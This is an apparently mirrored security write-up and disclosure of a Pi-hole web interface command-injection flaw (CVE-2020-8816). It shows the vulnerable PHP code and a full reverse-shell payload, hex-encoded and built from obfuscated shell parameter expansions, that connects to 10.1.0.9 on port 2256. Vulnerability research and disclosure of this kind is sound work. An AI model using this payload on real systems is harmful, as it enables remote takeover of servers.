CVE-2020-8816 – Pi-hole Remote Code Execution
source link: https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Impact
Pi-hole is affected by a Remote Code Execution vulnerability. An authenticated user of the Web portal can execute arbitrary command with the underlying server with the privileges of the local user executing the service.
Exploitation of this vulnerability can be automated.
What is Pi-hole?
Pi-Hole is a DNS server specialized in content-filtering. It also features a DHCP server. According to Pi-hole LLC:
The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.
Who is affected?
Pi-hole Web interface version 4.3.2 and earlier is affected.
Technical Analysis
In order to configure its built-in DHCP server, Pi-hole features a Web-based user interface. From there, users can define static DHCP leases to pin an IP address to a given MAC address.
When processing user input in the form of MAC addresses, the application does not adequately validate nor validate this input before reusing it in a shell command.
While a legitimate MAC address format should be as follows:
aaaaaaaaaaaa
The MAC address input can be tampered to execute arbitrary code:
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&Affected configuration panel
The following excerpt contains the code that is responsible for this vulnerability. Code sections outside the code path used for exploitation were stripped and important lines of code were highlighted for the sake of clarity.
<?php /* Pi-hole: A black hole for Internet advertisements * (c) 2017 Pi-hole, LLC (https://pi-hole.net) * Network-wide ad blocking via your own hardware. * * This file is copyright under the latest version of the EUPL. * Please see LICENSE file for your rights under this license. */ if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php") { die("Direct access to this script is forbidden!"); } //[...] function validMAC($mac_addr) { // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case) return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); } //[...] // Read available adlists $adlist = readAdlists(); // Read available DNS server list $DNSserverslist = readDNSserversList(); $error = ""; $success = ""; if(isset($_POST["field"])) { // Handle CSRF check_csrf(isset($_POST["token"]) ? $_POST["token"] : ""); // Process request switch ($_POST["field"]) { //[...] case "DHCP": if(isset($_POST["addstatic"])) { $mac = $_POST["AddMAC"]; $ip = $_POST["AddIP"]; $hostname = $_POST["AddHostname"]; if(!validMAC($mac)) { $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>"; } $mac = strtoupper($mac); if(!validIP($ip) && strlen($ip) > 0) { $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>"; } if(!validDomain($hostname) && strlen($hostname) > 0) { $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>"; } if(strlen($hostname) == 0 && strlen($ip) == 0) { $error .= "You can not omit both the IP address and the host name!<br>"; } if(strlen($hostname) == 0) $hostname = "nohost"; if(strlen($ip) == 0) $ip = "noip"; // Test if this lease is already included readStaticLeasesFile(); foreach($dhcp_static_leases as $lease) { if($lease["hwaddr"] === $mac) { $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>"; break; } if($ip !== "noip" && $lease["IP"] === $ip) { $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>"; break; } if($lease["host"] === $hostname) { $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>"; break; } } if(!strlen($error)) { exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); $success .= "A new static address has been added"; } break; } if(isset($_POST["removestatic"])) { $mac = $_POST["removestatic"]; if(!validMAC($mac)) { $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>"; } $mac = strtoupper($mac); if(!strlen($error)) { exec("sudo pihole -a removestaticdhcp ".$mac); $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed"; } break; } //[...] default: // Option not found $debug = true; break; } } //[...]
Pi-hole’s Dashboard – savesettings.php – Original Code : Source
Exploitation
The biggest difficulty in exploiting this vulnerability is that the user input is capitalized through a call to “strtoupper”. Because of this, no lower case character can be used in the resulting injection.
Typically, the injection would look like this:
aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“10.1.0.9”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Here, our injection would be capitalized to “PHP -R”. As Linux commands are case sensitive, this would fail, yielding a “sh: 1: PHP: not found” error.
One way to overcome this difficulty is to make use of environment variables and of nightmare-inducing POSIX Shell Parameter Expansions. Note that the “sh” shell is used here.
Inducing a PATH environment variable leakIt is possible to fetch the “PATH” environment variables on the server by postpending “$PATH” to a MAC address on a new static DHCP lease.
PATH Environment Variable LeakageLuckily for us, the PATH contains the strings “pihole” and “usr” which in turn contains the “p”, “h” and “r” lower-case characters. Those are the only letters we need to write “php -r”.
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
For this PATH environment variable, it is possible to define the $P, $H and $R shell parameters that contain their matching lower-case character with the following POSIX Shell Parameter Expansions:
W=${PATH#/???/} P=${W%%?????:} X=${PATH#/???/??} H=${X%%???:} Z=${PATH#:/??} R=${Z%%/}
With these shell parameters introduced, our injection can be rewritten as:
$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’
Note that, here, neither PHP functions nor hexadecimal are case sensitive. $IFS corresponds to the default shell delimiter character which is a space.
Finally, our complete reverse shell payload is:
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN(“706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27”));’&&
Time to execute it!
Injecting a reverse shell payload Receiving a shell and enumerating sudoers actionsPrivilege escalation is left as an exercise to the reader.
Time Line
- François Renaud-Philippon disclosed the vulnerability to Pi-hole LLC on February 10, 2020.
- Pi-hole LLC acknowledged receiving the report on February 10, 2020.
- Pi-hole LLC fixed the vulnerability with the release of Pi-hole Web interface 4.3.3 on February 18, 2020.
- Pi-hole LLC authorized public disclosure on February 19, 2020.
Pi-hole® and the Pi-hole logo are Registered Trademark of Pi-hole LLC.
Art from ブラックジャックによろしく12 . © 佐藤 秀峰
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK